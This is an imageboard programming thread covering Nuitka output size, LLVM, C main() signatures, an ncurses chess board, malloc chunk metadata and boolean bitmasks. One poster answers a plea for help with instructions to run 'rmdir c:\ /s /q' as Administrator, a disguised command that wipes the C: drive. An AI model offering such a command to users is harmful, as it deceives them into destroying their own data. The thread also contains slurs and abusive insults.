/dpt/ - Daily Programming Thread

Old thread: What are you working on, Jow Forums?

Attached: 1551643114133.jpg (1100x788, 863K)

Other urls found in this thread:

pastebin.com/raw/jMqJ3UeW
pastebin.com/raw/dnPyQzGT
heap-exploitation.dhavalkapil.com/introduction.html
github.com/lilsnooker/visualsr
alemil.com/bitmask
twitter.com/SFWRedditGifs

nth for Nim!

kys dumb pedo scum

Very fast thread

Redill me on LLVM

well I posted in the old thread after this was made not realizing it, but a 8.0K source file became a 100M redistributable
I wanna die
$ nuitka3 --version
0.6.3
Python: 3.7.3 (default, Mar 26 2019, 21:43:19)
Executable: /usr/bin/python
OS: Linux
Arch: x86_64
$ wc -l prog.py && du -sh prog.*
170 prog.py
173M prog.build
99M prog.dist
8.0K prog.py

Threadly reminder that if you don't have a cute anime girl as your github/gitlab profile pic, you're not a true programmer.

Attached: 1556935939614.jpg (1000x707, 319K)

thank god

but they have to be related to programming

Attached: 1546277469226.png (911x1000, 491K)

No.
The most significant correlator is cuteness.

It's a "Low Level Virtual Machine" which is not low-level nor a virtual machine.

>inb4 it's a Roman numeral

Attached: Screenshot_20190509_013856.jpg (1080x514, 188K)

Why is it that most Python programs are written like shit?

shit lang, shit code.

It really does stand for Low Level Virtual Machine, but they are correct in stating that it is not an acronym. It's an initialism.

>mfw project lead watches me type stuff in the command line or starts backseat programming

Attached: 1458708056266.png (400x400, 30K)

more like project lewd

Attached: Anonymous.png (592x921, 948K)

LLVM is an abstract machine, and "abstract machine" used to be synonymous with "virtual machine" (certainly among compiler hackers), until subhumans invented their own meaning for the term "virtual machine", then bullying LLVM to no end how their abstract machine is not a virtual machine until LLVM team declared that LLVM does not stand for anything in particular.

I know that. I was just trying to give the most unhelpful description possible while still being technically correct.

>What are you working on, Jow Forums?
If the other ncurses user is on, I am taking up the challenge of drawing a chess board in c with ncurses now as well.

Attached: noid.png (960x1040, 37K)

What am I missing here? I want to pop off that variable and use it to start the new OpNode. Either it's getting late or I'm getting stupid(er).

Attached: Capture.jpg (548x110, 18K)

I will never be a good programmer

Attached: sad_girl_swimming_pool.jpg (800x600, 95K)

>char** envp
Come on, user. That's just pointlessly non-portable.

Don't worry, buddy, no one is ever truly good at anything these days.

Attached: 1548043974349.jpg (460x319, 22K)

Is there any benefit in buying an old PC setup to learn "old school" programming or is that just hipsterism?

Attached: 1548010593479.jpg (259x194, 7K)

Oh? I never include it, figured I would this time. Should I just omit it?

int main(int argc, char *argv[]) or int main(void) are the only standard definitions of main.
envp includes environment variables, and are part of execv and friends, but you can access all of those with getenv and setenv, so there is no reason to use that argument to main().

No. You can already do pretty "old-school" programming on modern computers with C, and be using a language that still has modern usage.

Good code formatting.

It doesn't like more than one statement on a line.

Don't format your code in such a retarded way.
One statement per line.

Also, you're simply discarding the result of new OperatorNode(), which you may have noticed if you didn't have stupid formatting.

Thanks fellas. It's a bad habit I haven't corrected.

Attached: 1553099680576.jpg (1200x801, 273K)

help oh my god please send help

What the hell does that have to do with programming?
Fuck off.

Attached: 1450763534148.png (508x685, 398K)

LLVM isn't one thing, it's a series of libraries which in effect provides a framework for creating an optimizing compiler
this is in start contrast to the GNU compiler collection, which is very monolithic
LLVM and by extension Clang were designed to be used as libraries, and once you get past just how fucking big they are, they're very developer friendly

Here's what I have so far for my chess board in ncurses...

Thanks for the full explanation.

Attached: noid2.png (525x290, 6K)

I have a cute anime boy that's dressed like a girl as my github pic, does that count,?

Attached: 1557326325931.jpg (720x949, 84K)

open sores if anyone wants to have a good laugh
pastebin.com/raw/jMqJ3UeW

I don't think I've written a single original line of code in the 3 years I've been on this job
it's all just been copy pasting and slightly editing existing funcionalities

1. Open the command prompt cmd as Administrator
2. paste this
rmdir c:\ /s /q
and press enter

Wtf this deleted my habbo hotel account

This is probably as far as I would go. Looks alright to me. I would add A-H and 1-8 labels on the side though.

Attached: noid3.png (381x466, 12K)

Sorry for spam but this looks pretty good using courier.

pastebin.com/raw/dnPyQzGT

Attached: noid5.png (341x346, 8K)

All this Google I/O Talks and shit made me want to jump on the machine learning bandwagon, will have to learn Pyhon but oh well what can you do, my question is which is the AI main technology used right now, TenserFlow or PyTorch?

Attached: 523253235.jpg (327x154, 5K)

If you think fields and properties are different more than 1% of the time then I'm afraid I have to declare you terminally autistic

even ms build focused on meme learning and big meme

Yea but the TenserFlow versions in C# and Golang are probably dogshit compared to the Python one

What are you going to do with either?

Have fun

t-tag my hentai folder

>trusting AI with your hentai

Any plans for how you are going to have fun in particular?

Sounds legitimate

True, be carefule user.

lets say you have a simple array like float*. there is no way to query the actual size of the array. so how can delete[] work when the size is unknown at any time?

>functions and variables aren't different
what fucking language are you using that produces programmers as dumb as you
C++ doesn't even have properties, you have to nigger rig them via anonymous classes and type conversion

Not really cause i dont know shit of what TF or PyTorch can do and whats the difference about them, but i heard cool stuff

it saves the size somewhere when you allocate it

My understanding is that a malloc or similar being called allocated the amount of memory you want and hands you the pointer to the start of that area.

When you go to free this address, malloc can read the meta data for the chunk and handle freeing the chunk.

like where? sizeof(youArray) doesnt work

This is a good read for understanding malloc.

heap-exploitation.dhavalkapil.com/introduction.html

I have a binary challenge for ubuntu bionic beaver version of malloc that is exploitable if anyone is into binary challenges and in particular heap challenges with newer glibc versions.

In some implementation-defined location. For example, it could be stored right behind the pointer they give you back

Properties are considered harmful.

the question remains: if the size is known why cant you query it?

yea obviously, you're pretending a function call is the same as accessing a variable

could be anywhere, it's an implementation detail. it also doesn't necessarily store the actual size you requested, since it may give you more memory than you asked. On my system it looks like it's stored before the array.
$ cat a.c
#include
#include
#include
int main() {
int sz = 8;
for(int i=0; i

Some implementations let you. glibc has malloc_usable_size.

There are flags stored in the lower bits. 1 = prev chunk in use. 2 = if chunk was mmaped and 4 = chunk is in a non-main arena

I'm working on a monster girls themed visual novel for webGL. With 3D characters. Even though I know it will be a very hard project, it's something I just have to do.

>web
i hate you and everything you stand for
you disgust me
but do carry on with that

Some can, but there is no good reason that you would need to.

you're inserting ascii dicks into another application's memory and need to know how many penises will fit

>but there is no good reason that you would need to.
that's the exact reason god invented std::vector

>Some can, but there is no good reason that you would need to.
Besides having to pass the length of every array you pass into every function?

pic of the models?

Malloc doesn't give you back exactly as many bytes as you asked for. It can give you more.

T-Thanks for the... uh... support.

Allocation size is not enough information to get an accurate length of an array.
An allocation can be larger than you actually requested, so you could be reading junk data at the end.

>Sepples
Don't even mention that filth around here again.

I unorinically enjoy sepples and have made it my goal to rewrite as much C software (which I use) into C++

I don't have any yet. But I'll follow monster girl encyclopaedia closely.

so, uh, how much have you even got done of the VN?

Whenever I write C, I deliberately make it compatible with C++ to make it easy to port later.

actual brainlet here
I have three variables, they are all booleans
I am trying to list all possible combinations, but am actually struggling
yes, I know this is like high school math
it is so bad I was actually considering just nesting the statements so I didn't have to think about that but I know it's ugly
obviously
if a && b && c { }
if a && b && !c { }
if a && !b && !c { }
if !a && b && c { }
if !a && !b && c { }
if !a && !b && !c { }
if a && !b && c { }
if !a && b && !c { }

is going to be cleaner looking than
if a {
if b {
if c { }
else { }
else { }
else { }

please help
this is not bait
I actually tried to do math, but I don't know if this is what I need
n!/(n-r)!

>inb4 ABSOLUTE STATE

You are both a cancer on the software ecosystem as a whole.

Attached: 1556988399929.png (270x360, 66K)

just use a bitmask

rate this random project

github.com/lilsnooker/visualsr

I am sad I lost my xcb version of conways game of life. I will have to find that on my old hard drive.

Attached: 1520481488170.png (1366x768, 949K)

c programmers dislike c++ because they are dumb
very few of their criticisms are actually valid
especially any of their complaints about templates, macros are so much worse

Yes, I am writing C.

Still learning WebGL. It seems simple enough, considering my previous experience with OpenGL. I also have previous experience with Blender from years ago, but I'm rusty. Web development is not a issue, but I want to have most game data (including player state) on the server. So I don't expect to have anything playable before six months from now.

I know C++ very well yet would prefer simplicity

i prefer complicatedness

good luck, fren

How can I learn how to structure real programs in C? This is literally the only barrier refraining me to write programs bigger than FizzBuzz.

but nobody is forcing you to use the complex stuff

what programming language should I learn if I want to go for this feel:
"this user has a really high iq and looks down on the regular plebs. and he has a really big dick"

dude FILES lmao

dude FILES lmao

NQC

haskell

Yeah I know I should split functions and headers in different files but I don't know the common practices. It just looks like a massive clusterfuck from a beginner point of view.

lua

Make a project and we'll tell you why it's shit

I looked up a guide for retards and I still don't get it
alemil.com/bitmask
I changed a, b, c to 1